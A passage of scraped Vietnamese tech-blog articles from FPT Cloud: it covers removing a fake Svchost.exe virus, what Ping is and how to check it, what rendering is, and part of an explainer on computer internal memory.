sẽ và không thể bị xóa. Thế nhưng bạn nhớ hãy đọc tên file cẩn thận, chính xác để chắc chắn đó không phải là file hợp pháp được sử dụng bởi Windows.  Cách 2: Tại danh sách các Svchost.exe bạn hãy nhấp chuột phải vào file được xác định là virus. Các tùy chọn hiển thị bạn hãy click chọn End Task. Nếu cách đó không đảm bảo hiệu quả bạn có thể mở Process Explorer rồi click chuột phải vào tệp Svchost.exe và chọn Kill Process để tắt nó. [caption id="attachment_22172" align="aligncenter" width="771"] Bấm click End Task[/caption] Cách 3: Nếu bạn thấy có các dịch vụ được lồng ghép ở trong tệp Svchost.exe bạn hãy mở chúng trong Task Manager như đã giải thích ở trên. Sau đó bạn dừng từng dịch vụ đó lại bằng cách bấm chọn ‘Servier”. Lúc này các tiến trình chạy sẽ hiển thị bạn bấm chuột phải vào tiến trình không cần thiết và chọn “Stop Service”. [caption id="attachment_22176" align="aligncenter" width="771"] Click chọn Stop Service để dừng tiến trình lại[/caption] Cách 4: Bạn hãy mở thư mục Task Manager lên sau đó tìm tới các file Svchost virus để xóa như cách 1. Một khi tìm thấy các file bạn hãy thử xóa file Svchost.exe tương tự như các file bất kỳ khác. Bạn thực hiện bằng cách bấm chuột phải vào file, các tùy chọn xuất hiện bạn click vào Delete.  [caption id="attachment_22180" align="aligncenter" width="771"] Bấm chuột phải chọn Delete[/caption] Nếu có thể bạn hãy thử cài đặt LockHunter để yêu cầu xóa file Svchost trong lần khởi động lại tiếp theo. Cách 5: Bạn có thể cài đặt malwarebytes hay một số các công cụ loại bỏ những phần mềm gián điệp khác cũng được. Phần mềm giúp bạn quét toàn bộ hệ thống và hỗ trợ xóa tiến trình Svchost thành công. Sau quá trình xóa bạn khởi động máy tính lại một lần nữa là hoàn thiện. Trong trường hợp virus Svchost.exe không cho phép cài đặt chương trình về máy thì bạn có thể tải trình quét virus Portable vào ổ flash và quét từ đó.  [caption id="attachment_22184" align="aligncenter" width="771"] Sử dụng phần mềm Malwarebytes[/caption] Cách 6:  Bạn cũng có thể sử dụng một chương trình đầy đủ để quét virus. Có rất nhiều tùy chọn trong danh sách các chương trình duyệt virus cho Windows và Mac. Dù sao đi nữa thì việc để một trong số các công cụ diệt virus này luôn bật là rất sáng suốt. Thậm chí khi một trình quét virus khác cũng có thể xóa file.  [caption id="attachment_22188" align="aligncenter" width="771"] Vận dụng chương trình diệt virus Windows[/caption] Cách 7: Sử dụng chương trình diệt virus cũng được xem là cách tốt để áp dụng. Bạn có thể quét máy tính trước khi khởi động Windows. Điều này sẽ rất hữu ích khi các trình quét khác không thành công. Bởi vì virus Svchost.exe không thể hoạt động chỉ trừ khi Windows đang chạy và các công cụ diệt virus có thể boot chạy bên ngoài Windows. Những bài viết liên quan: SWAP RAM là gì? Điều cần biết trước khi sử dụng SWAP(RAM ảo) Tìm hiểu chi tiết về OTP là gì | Ứng dụng của OTP ngày nay Bộ nhớ trong là gì? Tìm hiểu bộ nhớ trong máy tính & điện thoại CRUD là gì? So sánh điểm khác biệt giữa CRUD và REST Vậy chi tiết thông tin tổng hợp về file Svchost là gì và cách xử lý Svchost.exe giúp máy tính chạy mượt mà đã được bật mí như trên. Chỉ cần bạn tìm hiểu cẩn thận và áp dụng đúng với hướng dẫn chắc chắn bạn sẽ thành công khi thực hiện. Tuy nhiên nếu trong quá trình áp dụng bạn có bất kỳ thắc mắc, băn khoăn nào về Svchost đừng ngần ngại hãy liên hệ với FPT Cloud để được giải đáp tận tình.

PING là gì? Đánh giá chỉ số Ping khi kiểm tra tốc độ mạng

16:38 08/03/2022
Ping là gì? Trong suốt quá trình sử dụng internet có lẽ bạn đã nhiều lần nghe tới từ Ping và cũng nghe nhiều người nói sử dụng Ping để kiểm tra tốc độ mạng. Tuy nhiên không phải ai cũng hiểu rõ khái niệm Ping là gì, các ý nghĩa cũng như cách thức kiểm tra thông số này. Để giải đáp tất cả những thắc mắc trên hãy cùng FPT Cloud theo dõi qua bài viết sau.  PING là gì? Ping là gì? Theo đó đây là từ viết tắt của cụm Packet Internet Groper. Ping là 1 công cụ dành cho mạng máy tính dùng trên những mạng TCP/IP nhằm kiểm tra coi có thể kết nối đến 1 máy chủ cụ thể nào hay không.  [caption id="attachment_21856" align="aligncenter" width="771"] PING là gì?[/caption] Bên cạnh đó nó còn ước lượng về thời gian trễ trọn vòng nhầm gửi có dữ liệu về tỷ lệ những dữ liệu có thể sẽ bị mất giữa 2 máy.  Khái niệm Ping là gì này có thể hiểu một cách đơn giản sử dụng để kiểm tra kết nối 2 hoặc nhiều thiết bị có trên một đường truyền. Hay cũng có thể kiểm tra kết nối của máy chạm đến máy chủ hiện đang được nó kết nối thông qua cách thức đo tổng thời gian gửi cũng như trả về của những gói dữ liệu chuẩn. Vậy hiện tại ý nghĩa của chỉ số Ping là gì? Chỉ số PING có ý nghĩa gì? Với những thông tin về khái niệm Ping là gì trên vậy hiện tại ý nghĩa của chỉ số Ping là gì? Khi sử dụng mạng internet chắc hẳn rằng đã có lúc bạn nhấn vào một trang Web nào đó để xem phim, đọc báo hoặc nghe nhạc,... Tuy nhiên phải mất một khoảng thời gian sau thầy trang Web mới có thể bắt đầu tải thì đây được gọi là độ trễ. Do đó lệnh Ping là gì này cũng sẽ góp phần đo lường về tốc độ duyệt web và cho biết được chất lượng của dịch vụ mạng.  Đối với những ai thường xuyên tham gia chơi game online thì đây có lẽ là thông số không hiểu quá xa lạ. Rất nhiều game online trên thị trường hiện nay đã hiển thị thông số này ở góc màn hình để có thể thấy được tốc độ của đường truyền mạng. Cụ thể nếu như chỉ số ping này lên tới hàng trăm ms (hay mili giây) thì chắc hẳn rằng quá trình tham gia chơi game online của bạn sẽ xảy ra tình trạng giật lag không mong muốn. [caption id="attachment_21860" align="aligncenter" width="771"] Chỉ số PING có ý nghĩa gì?[/caption] Nếu như bạn đang tham gia chơi game online chậm chạp và chỉ số Ping này quá cao thì điều này đồng nghĩa với việc đường truyền mạng đang là nguyên nhân chính. Và không phải vì cấu hình máy giống như một số người thường xuyên làm tưởng. >>> Xem thêm: Rendering là gì? Tầm quan trọng của Rendering trong thiết kế đồ họa PING mạng bao nhiêu là tốt? Ping là gì và Ping mạng bao nhiêu là tốt? Với thị trường internet như ở thời điểm hiện tại thì việc kiểm tra về tốc độ mạng tải thuộc khoảng từ 15 đến 50 Mbps là hoàn toàn có thể đáp ứng được những nhu cầu cơ bản sử dụng internet ví dụ như chơi game trực tuyến, xem phim online hoặc duyệt website cho nhiều người trong gia đình cùng một lúc mà không gặp những trường hợp gián đoạn nào quá lớn.  Ping 3ms là gì? Chỉ số Ping là gì và Ping 3ms là như thế nào? Nếu như tốc độ Ping ở mức dưới 10ms thì điều này đồng nghĩa với việc chỉ mất khoảng 1/100 giây là khi đó gói tin đã được gửi cũng như nhận. Như vậy điều này chứng tỏ được rằng mạng của gia đình nhà bạn hiện đại có chất lượng vô cùng tốt. 3ms sẽ đồng nghĩa với chất lượng mạng tốt.  [caption id="attachment_21864" align="aligncenter" width="771"] PING mạng bao nhiêu là tốt?[/caption] Ping mạng bao nhiêu là tốt? Nếu như Ping của gia đình bạn trong khoảng dưới 100 thì tốt nhất ở mức dưới 30 bạn sẽ không gặp phải quá nhiều những trở ngại khi tham gia chơi những game online ví dụ như liên quân hoặc liên minh huyền thoại. Nhưng nếu như chỉ số này vượt quá mức 100, cụ thể là lên tới mức 200 hay 250 thì bạn sẽ gặp phải những khoảnh khắc giật, lag vô cùng khó chịu. Vậy hiện tại cơ chế hoạt động của lệnh Ping là gì? Cơ chế hoạt động của lệnh PING Ping là gì và cơ chế hoạt động của lệnh Ping là gì? Đối với cơ chế hoạt động của lệnh Ping bạn hoàn toàn có thể hiểu một cách đơn giản như sau: Thiết bị hoặc máy tính A sẽ gửi đi 1 gói tin - packet, 1 tín hiệu tới địa chỉ IP của thiết bị B, máy tính.  Vậy thiết bị B liệu rằng có được nhận gói tin - packet, tín hiệu từ phía A hay không? Theo đó phản hồi của B sẽ trả về cho A cũng như hiển thị thành kết quả lệnh ping. Cách kiểm tra PING trên máy tính  Như vậy có thể thấy rằng Ping hiện tại đang là một chỉ số rất quen thuộc đặc biệt là đối với nhận ai sử dụng mạng internet thì chắc hẳn đã bắt gặp chỉ số này một lần. Vậy hiện tại cách thức để kiểm tra ping cho máy tính là như thế nào? Kiểm tra trên thiết bị chạy Windows  Ping là gì và cách thức để kiểm tra ping cho máy tính là như thế nào? Theo đó để kiểm tra trên thiết bị chạy windows thì bạn cần thực hiện theo những bước đơn giản sau đây: Bước 1: sử dụng tổ hợp phím Windows + R để mở CMD. [caption id="attachment_21868" align="aligncenter" width="771"] Kiểm tra trên thiết bị chạy Windows[/caption] Bước 2: Gõ vào "cmd" sau đó nhấn OK. [caption id="attachment_21872" align="aligncenter" width="771"] Gõ vào "cmd" sau đó nhấn OK[/caption] Bước 3: Ngay sau khi đã mở ra CMD thì gõ vào dòng lệnh để tiến hành kiểm tra Ping sau đó nhấn OK. Tuy nhiên cần lưu ý rằng địa chỉ IP những nhà mạng hiện tại đang là những dãy số cụ thể sau đây:  Dãy số IP của mạng Viettel là 203.113.131.1 Dãy số IP của mạng FPT là 210.245.31.130 Dãy số IP của mạng VNPT là 203.162.4.190 Đối với mỗi nhà mạng khác nhau thì bạn cần căn cứ vào dịch vụ mạng hiện tại gia đình đang sử dụng để nhập vào dãy số IP phù hợp.  [caption id="attachment_21876" align="aligncenter" width="771"] Gõ vào dòng lệnh để tiến hành kiểm tra Ping[/caption] Bước 4: Tiến hành kiểm tra Ping. Như vậy chỉ với 4 bước đơn giản trên là bạn đã có thể kiểm tra trực tiếp ngay trên những thiết bị chạy Windows.  [caption id="attachment_21880" align="aligncenter" width="771"] Tiến hành kiểm tra Ping[/caption] >>> Xem thêm: Bộ nhớ trong là gì? Tìm hiểu bộ nhớ trong máy tính & điện thoại Kiểm tra trên thiết bị chạy Mac OS  Ping là gì và cách thức để kiểm tra trên thiết bị chạy Mac OS là như thế nào? Theo đó để có thể kiểm tra trên thiết bị chạy Mac OS bạn cần thực hiện theo những bước cơ bản sau đây:  Bước 1: Mở Spolight ngay trên màn hình thông qua biểu tượng có hình kính lúp. Bước 2: Tại khung tìm kiếm Spotlight ở giữa của màn hình nhập vào network utility để tìm Network Utility. Khi đó sẽ hiện ra ứng dụng Network Utility. [caption id="attachment_21884" align="aligncenter" width="771"] Kiểm tra trên thiết bị chạy Mac OS[/caption] Bước 3: Click vào thẻ Ping ở đầu của cửa sổ. [caption id="attachment_21888" align="aligncenter" width="771"] Click vào thẻ Ping ở đầu của cửa sổ[/caption] Bước 4: Nhập vào địa chỉ bạn muốn Ping sau đó nhấn vào Ping. [caption id="attachment_21892" align="aligncenter" width="771"] Nhập vào địa chỉ bạn muốn Ping[/caption] Bước 5: Tiến hành xem kết quả. Ý nghĩa của thông số trả về sau khi kiểm tra Ping Ping là gì và ý nghĩa của thông số trả về sau khi kiểm tra Ping là như thế nào? Theo đó sau khi kết quả trả về có time (ms) thấp thì điều này đồng nghĩa với việc mạng của gia đình nhà bạn khá nhanh. Theo đó time giao động ổn định đồng nghĩa với việc mạng của gia đình nhà bạn rất tốt và ổn định.  Tuy nhiên ngược lại nếu như chỉ số ping này cao thì tức là time (ms) cao và mạng của gia đình nhà bạn sẽ chậm và thời gian phản hồi lâu. Điều này hiển nhiên rằng việc sử dụng mạng của bạn sẽ xảy ra một cách chậm chạp.  Nếu như bị request time out tức không thể phản hồi thì sẽ đồng nghĩa với việc kết nối internet bị ngắt kết nối hoặc bị gián đoạn. Như vậy lúc này bạn cần phải kiểm tra những thiết bị kết nối để có thể khắc phục. Những bài viết liên quan: DNS 1.1.1.1 là gì? Hướng dẫn cài đặt và thay đổi DNS 1.1.1.1 Top 6+ Cách check IP Website đơn giản, nhanh chóng Hub là gì? Hub dùng để làm gì? So sánh Hub và Switch từ A-Z Web server là gì? Tìm hiểu cơ chế hoạt động của web server Như vậy với những thông tin chi tiết được FPT Cloud cung cấp qua bài viết trên đã giúp bạn hiểu rõ hơn về khái niệm Ping là gì, các ý nghĩa cũng như cách thức kiểm tra thông số này. Theo đó có thể thấy được rằng đây là một trong những chỉ số khá quen thuộc khi sử dụng mạng internet và máy tính. Hy vọng rằng với những hướng dẫn về cách kiểm tra ping trên máy tính trên sẽ giúp bạn dễ dàng nắm bắt được chỉ số này. 

Rendering là gì? Tầm quan trọng của Rendering trong thiết kế đồ họa

16:26 08/03/2022
Rendering là gì? Theo đó với sự phát triển nhanh chóng của đồ họa máy tính thì render đã trở thành 1 khái niệm rất. Nó không nhận được với thiết kế mà cả người dùng phổ thông cũng biết tới và quan tâm. Để hiểu rõ hơn về khái niệm này cũng như tầm quan trọng của nó hãy cùng FPT Cloud tìm hiểu qua bài viết sau.  Rendering là gì? Rendering là gì? Render hay rendering dịch ra theo nghĩa tiếng Việt là kết xuất. Theo đó đây là quá trình tạo ra một sản phẩm về kỹ thuật số cuối cùng nhờ vào một loại đầu vào cụ thể. Thông thường thuật ngữ này sẽ áp dụng cho đồ họa video và hình ảnh, tuy nhiên hiện tại nó cũng có thể sẽ đề cập tới âm thanh.  [caption id="attachment_21808" align="aligncenter" width="771"] Tìm hiểu khái niệm Rendering là gì?[/caption] Đa số những trường hợp trên thị trường hiện nay khái niệm Rendering là gì sẽ gắn liền với những yếu tố về đồ họa. Chính vì vậy ở bài viết sau sẽ chỉ xét tới khía cạnh này.  Cụ thể đầu vào của một quá trình render có thể sẽ là một tập hợp những mô hình. Mỗi một mô hình sẽ là mô tả những đối tượng 2D hay 3D với những ngôn ngữ hay cấu trúc dữ liệu đã được định nghĩa một cách chặt chẽ. Những mô tả này gồm có những thông tin về điểm nhìn, hình học, bố trí ánh sáng và chất liệu của đối tượng,... máy tính sẽ đọc những mô tả này, từ đó tạo đầu ra đó chính là file video hoặc hình ảnh ở định dạng vô cùng phổ biến như MP4, jpg,… hay hiển thị trực tiếp ngay trên màn hình. Vậy hiện tại trong thiết kế đồ họa tầm quan trọng của Rendering là gì?  >>> Xem thêm: Bộ nhớ trong là gì? Tìm hiểu bộ nhớ trong máy tính & điện thoại Tầm quan trọng của Rendering trong thiết kế đồ họa Với những thông tin trên về Rendering là gì vậy hiện tại trong thiết kế đồ họa tầm quan trọng của Rendering là gì? [caption id="attachment_21812" align="aligncenter" width="771"] Tầm quan trọng của Rendering trong thiết kế đồ họa hiện nay[/caption] Những vấn đề thực tiễn Có 2 quá trình chính trong thiết kế đồ họa đó chính là thiết kế ngay trên phần mềm cũng như kết xuất thành những sản phẩm cuối cùng. Designer (hay người thiết kế đồ họa) trong khâu thiết kế sẽ chọn những mô hình, thêm màu sắc, ánh sáng tạo hiệu ứng,... nhờ vào những dụng cụ được phần mềm thiết kế về đồ họa cung cấp. Các dữ liệu được sinh ra trong suốt quá trình thiết kế sẽ lưu trữ vào những project với nhận định dạng cũng như cấu trúc chặt chẽ thuộc phần mềm đã được sử dụng.  Thông thường những project với kích thước lớn vì có chứa rất nhiều những file thông tin mà không nén cũng như chưa được qua xử lý. Như vậy điều này đồng nghĩa với việc dù những designer đã xem trước sản phẩm trong quá trình thiết kế qua tính năng thuộc phần mềm, nhưng những Project này vẫn không phù hợp trở thành sản phẩm phục vụ cho người dùng cuối cùng hoặc cho đại đa số những mục đích thương mại.  Những hiệu ứng phức tạp ví dụ như được dùng trong quá trình làm phim thì xem trước yêu cầu phải thực thi tất cả những xử lý trong suốt thời gian thực hiện. Điều này khiến cho máy tính quá tải cũng như không thể nào hiện lên hết kết quả trong quá trình xử lý.  [caption id="attachment_21816" align="aligncenter" width="771"] Những project với kích thước lớn đang có chứa rất nhiều những file thông tin mà không nén[/caption] Tầm quan trọng của Rendering Với những vấn đề trên đây chính là những lý do để khâu tồn tại. Khi toàn bộ những hiệu ứng, lớp phủ kết hợp lại cùng với nhau và những quá trình xử lý về ánh sáng diễn ra cùng một lần. Cuối cùng kết quả được ghi nhận đó chính là 1 file sản phẩm duy nhất, hiện tại đã xử lý xong, đã tối ưu và cũng đã sẵn sàng dùng ngay không cần tới bất cứ một tác động nào.  Phân loại Rendering chi tiết Như vậy trên đây là những thông tin về khái niệm Rendering là gì cũng như tầm quan trọng của nó trong quá trình thiết kế đồ họa. Vậy hiện tại phân loại Rendering chi tiết gồm những gì? Hãy cùng điểm qua ở phần sau đây Pre-rendering Rendering là gì? Hiện tại render đang có 2 loại chính đó chính là real time rendering và pre-rendering. Theo đó Pre-rendering chính là kết xuất về hình ảnh trước và sau đó lưu thành những định dạng phổ biến để từ đó có thể đọc được nhờ vào in ấn hoặc những trình đọc file media.  [caption id="attachment_21820" align="aligncenter" width="771"] Rendering là gì? Phân loại Rendering chi tiết trên thị trường hiện nay[/caption] Thông thường Pre-rendering sẽ tạo ra hình ảnh có nhiều chi tiết, độ chân thực và có nhiều hiệu ứng phức tạp vì vậy thường được ứng dụng trong quá trình tạo poster hoặc làm phim,... Ngược lại với đó là realtime rendering. Vậy realtime rendering là gì? Realtime rendering Realtime rendering sẽ thực hiện kết xuất hình ảnh cũng như trình chiếu trong một khoảng thời gian thực vì vậy sẽ được ứng dụng chủ yếu trong đồ họa tương tác có thể kể đến như mô phỏng, video game,...  Nên lựa chọn Rendering theo CPU hay GPU? Rendering là gì? Thực chất đây cũng là một quá trình thực hiện với hàng loạt những phép tính tương tự như những tác vụ khác ở trên máy tính. Chính vì vậy nó hoàn toàn có thể thực hiện bằng cả GPU (là bộ xử lý đồ họa) và CPU (là bộ xử lý trung tâm). Nhưng trên thực tế GPU và CPU đã được tạo ra nhắm đến các tác vụ xử lý đa dạng khác nhau vì vậy render bằng GPU và CPU cũng sẽ có một số điểm khác biệt rõ ràng.   [caption id="attachment_21824" align="aligncenter" width="771"] Nên lựa chọn Rendering theo CPU hay GPU trên thị trường hiện nay?[/caption] Tìm hiểu tổng quan Rendering theo GPU và CPU Gần đây công nghệ sản xuất đã cho ra đời các CPU với hàng chục lõi. Tuy nhiên nếu như so sánh cùng với hàng ngàn những nhân xử lý có trong GPU thì đây có lẽ là một con số quá ít. Điều này là vì CPU đã được tạo ra để thực hiện xử lý một số ít những tác vụ lớn và cần thực hiện những phép tính tuần tự (hay xử lý đồng bộ) có tốc độ nhanh nhất.  Ngược lại, GPU sẽ thích hợp dùng để thực hiện nhiều tác vụ nhỏ song song (hay xử lý bất đồng bộ) và nhờ vào số lõi xử lý lớn. Những CPU hiện đại mặt khác hoàn toàn có thể quản lý với lượng RAM lên tới đơn vị là Terabyte. Tuy nhiên trong khi đó bộ nhớ của những GPU (VRAM) hiện tại chỉ giới hạn trong vài chục Gigabyte.  Kết quả của sự khác biệt Như vậy với những điểm khác biệt trên sẽ dẫn đến một số những kết quả phổ biến sau đây:  Tốc độ của render bằng GPU sẽ nhanh hơn. Tuy nhiên nếu như xét về chất lượng hình ảnh và độ chính xác của render thì CPU sẽ làm tốt hơn. Với cùng một tốc độ xử lý về đồ họa thì một GPU hoàn toàn có thể tương đương đến 5 CPU. Chính vì vậy giá thành của GPU rendering sẽ rẻ hơn khá nhiều.  Với tốc độ xử lý nhanh sẽ khiến cho GPU hoàn toàn thích hợp với những công việc cần tới việc trình diễn kết quả trong một khoảng thời gian thực ví dụ như video game hoặc mô phỏng,... [caption id="attachment_21828" align="aligncenter" width="771"] Với cùng một tốc độ xử lý về đồ họa thì một GPU hoàn toàn có thể tương đương đến 5 CPU[/caption] Như vậy qua những thông tin tổng quan và khái niệm Rendering là gì có thể thấy được rằng dường như hiện tại render bằng GPU đang là một sự lựa chọn đêm tới nhiều lợi ích hơn. Tuy nhiên trên thực tế nó không phải là tuyệt đối. Theo đó sẽ tùy thuộc vào tính chất của công việc cần tới giá thành rẻ và tốc độ cao hay cần tới bộ nhớ lớn và độ chính xác mà lựa chọn CPU hay GPU dành cho render. >>> Xem thêm: GHz là gì? Cách xác định xung nhịp CPU tính theo đơn vị GHz Top 5 phần mềm Rendering được sử dụng nhiều nhất Rendering là gì và top 5 những phần mềm Rendering đang được sử dụng nhiều nhất hiện nay là gì?  [caption id="attachment_21832" align="aligncenter" width="771"] Rendering là gì? Top 5 phần mềm Rendering được sử dụng nhiều nhất trên thị trường[/caption] V-Ray Hiện tại V-ray đang là một phần mềm dành cho tất cả mọi người trong tất cả những ngành nghề đa dạng khác nhau. Theo đó V-ray hiện đang có tốc độ rendering vô cùng nhanh. Nó hoàn toàn phù hợp với phim ảnh và những studio kiến trúc nội thất.  Corona – Render Rendering là gì và Corona render là như thế nào? Theo đó đây là 1 trong những ứng dụng vô cùng nổi bật vì dễ sử dụng và tốc độ xử lý realtime rất cao. Trên thị trường hiện nay, trình render này đã và đang phát triển vô cùng nhanh chóng. [caption id="attachment_21836" align="aligncenter" width="771"] Corona render là 1 ứng dụng vô cùng nổi bật vì dễ sử dụng, tốc độ xử lý realtime rất cao[/caption] Mental Ray Hiện tại Mental ray đang là 1 ứng dụng về kết xuất đồ họa có chất lượng cao. Theo đó nó đang được sử dụng cho những sản phẩm chuyên nghiệp và được phát triển nên bởi mental images. Maxwell Render Đây đang là một trong những phần mềm hỗ trợ người dùng tạo nên ảnh mô phỏng tương tự như thật nhờ vào dữ liệu của mô hình 3D ngay trên máy tính. Vào tháng 12 năm 2004 Maxwell Render đã được giới thiệu trực tiếp ra thị trường tương tự như 1 phiên bản alpha.  [caption id="attachment_21840" align="aligncenter" width="771"] Maxwell Render đã được giới thiệu trực tiếp ra thị trường tương tự như 1 phiên bản alpha[/caption] Octane Render Render nghĩa là gì và Octane Render là như thế nào? Theo đó đã dù không phải là 1 tên tuổi lớn và nổi tiếng trên khắp thế giới của những sản phẩm 3D. Tuy nhiên trên thực tế nó cũng đang cung cấp rất nhiều những điều bổ ích dành cho những kiến trúc sư và nhà thiết kế.  Hiện tại Octane render đang có rất nhiều những tính năng mới và đồng thời đây cũng là một công cụ hỗ trợ đắc lực cho render. Đặc biệt nó còn đẩy nhanh tốc độ Render lên tới 50 lần so với việc render bằng CPU dựa vào render không thiên vị. Vậy hiện tại những lưu ý để sử dụng hiệu quả Rendering là gì?  [caption id="attachment_21844" align="aligncenter" width="771"] Octane Render cũng đang cung cấp rất nhiều những điều bổ ích dành cho những kiến trúc sư[/caption] Lưu ý khi sử dụng Rendering hiệu quả Để sử dụng Rendering hiệu quả bạn cần lưu ý một số những vấn đề cơ bản sau đây: Không dùng những tính năng khác và dùng hệ thống tản nhiệt tốt Rendering là gì và những lưu ý để sử dụng hiệu quả Render là gì? Theo đó Render hoàn toàn có thể xếp vào trong tác vụ tiêu tốn nhiều nhất tài nguyên trên máy tính. Theo đó nó hoàn toàn có thể đẩy cả CPU và GPU hoạt động với công suất tối đa, đồng thời cũng tiêu tốn bộ nhớ và gần như là không giới hạn tùy thuộc vào độ phức tạp của những sản phẩm.  Chính vì vậy khi sử dụng lời khuyên cho bạn là không nên dùng những tính năng khác trong hệ thống cũng như cần hệ thống tản nhiệt tốt để không làm giảm đi tuổi thọ của linh kiện.  Lựa chọn những dòng CPU chuyên dụng Những lưu ý để sử dụng hiệu quả Rendering là gì? Khi thực hiện render bằng CPU thì bạn hãy nên lựa chọn những dòng CPU chuyên dụng ví dụ như AMD Threadripper, Intel Xeon với số lõi lớn, thiết kế chịu tải, hỗ trợ nhiều RAM và đặc biệt là để tăng tốc độ xử lý. Còn đối với GPU rendering thì những dòng AMD Firepro và NVIDIA Quadro được thiết kế có VRAM lớn cũng như driver chuyên dụng vì vậy đối với công việc render sẽ phù hợp hơn nhiều. Kết nối nhiều phần cứng/ máy tính lại [caption id="attachment_21848" align="aligncenter" width="771"] Rendering là gì? Những lưu ý khi sử dụng Rendering hiệu quả[/caption] Nếu như có tìm hiểu Rendering là gì với công việc có tính chất đặc thù hoặc khối lượng lớn thì 1 máy tính đơn lẻ dù cho có mạnh mẽ tới đâu thì cũng không thể nào render nhanh chóng được.  Như vậy giải pháp khả thi nhất trong trường hợp này đó chính là kết nối với phần cứng/ máy tính lại với nhau để từ đó có được sức mạnh xử lý rendering tốt hơn.  Tất cả những doanh nghiệp có thể tự động thiết lập những render farm với hệ thống nhận máy tính nội bộ nhằm vận hành những phần mềm tương thích với dụ như Corona hoặc Vray.  Những bài viết liên quan: Socket IO là gì? Kiến thức nền tảng cơ bản về Socket IO Source Code là gì? Top 3 công cụ tạo Source Code tốt nhất WordPress là gì? Hướng dẫn cài đặt WordPress cực đơn giản Google Forms là gì? Hướng dẫn tạo Google Forms chuyên nghiệp Qua bài viết trên FPT Cloud đã cung cấp đầy đủ cho các bạn độc giả những thông tin chi tiết nhất liên quan tới khái niệm Rendering là gì cũng như một số thông tin cần biết để có thể render đạt hiệu quả nhất. Hy vọng rằng đây sẽ là những thông tin bổ ích dành cho bạn đặc biệt là đối với những ai đang làm về thiết kế đồ họa. 

Bộ nhớ trong là gì? Tìm hiểu bộ nhớ trong máy tính & điện thoại

16:15 08/03/2022
Bộ nhớ trong hiện tại là một bộ phận rất quan trọng trong những thiết bị như điện thoại và máy tính. Tuy nhiên bạn đã bao giờ thắc mắc rằng bộ nhớ này gồm những gì và cách thức để lựa chọn phù hợp cho những thiết bị là như thế nào? Để giải đáp tất cả những thắc mắc trên hãy cùng FPT Cloud tìm hiểu qua bài viết sau.  Bộ nhớ trong là gì? Bộ nhớ trong hay Internal Memory chính là khái niệm chỉ những loại bộ nhớ đã được lắp đặt sẵn cũng như sử dụng trong những thiết bị ví dụ như máy tính bảng, điện thoại hoặc máy tính. Thông thường bộ nhớ trong máy tính sẽ có hai loại chính đó chính là bộ nhớ đệm (Cache) và bộ nhớ chính (ROM, RAM). [caption id="attachment_21744" align="aligncenter" width="771"] Bộ nhớ trong là gì?[/caption] Bộ nhớ trong của máy tính và điện thoại  Như vậy bộ nhớ trong có thể truy cập từ hệ thống một cách dễ dàng và không cần phải sử dụng tới bất kỳ một thiết bị đầu vào hoặc đầu ra nào trên thị trường hiện nay. Vậy bộ nhớ trong máy tính và điện thoại là như thế nào?  Bộ nhớ trong của máy tính  Theo đó bộ nhớ trong máy tính hiện tại có thể chia thành những thành phần cụ thể sau đây:  RAM (Random Access Memory) RAM sẽ giúp lưu trữ dữ liệu của những chương trình đang hoạt động tạm thời để CPU có thể truy xuất và xử lý nhanh chóng. Dù cho dữ liệu đang được lưu ở bất cứ một ổ nhớ nào trong RAM thì hệ thống cũng truy cập được tự do với tốc độ là như nhau. Tuy nhiên vì chỉ là một bộ nhớ tạm thời do đó khi khi tắt máy thì tất cả những dữ liệu sẽ bị xóa sạch.  Nếu như mở bất cứ một ứng dụng nào thì chip CPU sẽ nhanh chóng truy dữ liệu của ổ cứng và tạm thời lưu trữ trên RAM. Vì cách ứng dụng khi muốn hoạt động trên máy tính phải dựa vào bộ nhớ trong đó chính là RAM. Chính vì vậy những máy tính có dung lượng RAM lớn sẽ có tốc độ xử lý nhanh hơn và tránh được những tình trạng lag giật khi mở cùng một lúc nhiều chương trình.  [caption id="attachment_21748" align="aligncenter" width="771"] RAM sẽ giúp lưu trữ dữ liệu của những chương trình đang hoạt động tạm thời[/caption] Hiện tại RAM có thể chia thành 2 loại chính là: DRAM (Dynamic Random Access Memory) là bộ nhớ động.  SRAM (Static Random Access Memory) là RAM tĩnh. Đây chính là bộ nhớ lưu trữ tất cả những dữ liệu nhanh của quá trình khởi động. Thông thường dẫn máy tính trung bình trên thị trường sẽ có RAM là 4GB. Tuy nhiên nếu như muốn xử lý những chương trình nặng thì tốt nhất nên lựa chọn RAM trên 8GB để tránh tình trạng bộ nhớ bị đầy hoặc hết dung lượng.  ROM (Read Only Memory) ROM là 1 loại bộ nhớ có chức năng đọc và được nhà sản xuất ghi sẵn, chứa các chương trình giúp cho máy tính khởi động dễ dàng. ROM có chứa những thông tin bảo mật ví dụ như bo mạch chủ máy tính, BIOS.  Đây là một phần rất quan trọng vì máy tính có khởi động được không chủ yếu nhờ vào thiết bị này. Nó khác hẳn so với RAM vì dữ liệu sẽ không mất đi nếu như tắt máy và có thể đọc nhưng không thể nào sửa chữa hoặc thay đổi.  [caption id="attachment_21752" align="aligncenter" width="771"] ROM là 1 loại bộ nhớ có chức năng đọc và được nhà sản xuất ghi sẵn[/caption] Chip ROM lưu trữ được lên đến vài megabyte, trong khi đó 1 chip RAM lên tới hàng chục gigabyte.  ROM hiện tại có một số những loại cơ bản sau đây: PROM (Programmable Read-Only Memory. Nó có thể chứa những nội dung của bộ nhớ cụ thể và được lập trình duy nhất một lần với phương pháp hàn cứng. Hiện tại PROM đang có độ bền lưu trữ cao và giá thành rẻ. EPROM có thể xóa dữ liệu dễ dàng với lập trình tia cực tím. EPROM không có độ bền lưu trữ cao và giá thành cũng đắt hơn PROM. EEPROM đã được chế tạo nên bởi công nghệ bán dẫn. Nó có thể được xóa cũng như lập trình lại bằng điện nhanh chóng. >>> Xem thêm: GHz là gì? Cách xác định xung nhịp CPU tính theo đơn vị GHz Bộ nhớ đệm (Cache Memory) Hiện tại bộ nhớ Cache chính là một trong những thành phần thuộc bộ nhớ trong. Theo đó nó có tác dụng lưu trữ những thông tin, dữ liệu được dùng thường xuyên để giúp cho CPU có thể truy cập trong tương lai với tốc độ nhanh chóng hơn. Bộ nhớ đệm nhìn chung đã nằm sẵn ở trong máy tính, đồng thời cũng có tác dụng tương tự như những thành  RAM được cắm trên mainboard.  Trong bộ nhớ đệm cache nếu như càng lớn thì khi đó dung lượng sẽ càng lớn, hoạt động mượt hơn và cũng có nhiều không gian để lưu trữ hơn.  [caption id="attachment_21756" align="aligncenter" width="771"] Bộ nhớ Cache chính là một trong những thành phần thuộc bộ nhớ trong[/caption] Hiện tại cấu trúc của nó có thể chia thành ba phần khác nhau gồm có L1, L2 và L3 (trong đó  L tức là Level). Dữ liệu sẽ đi từ ổ cứng tới DRAM thông 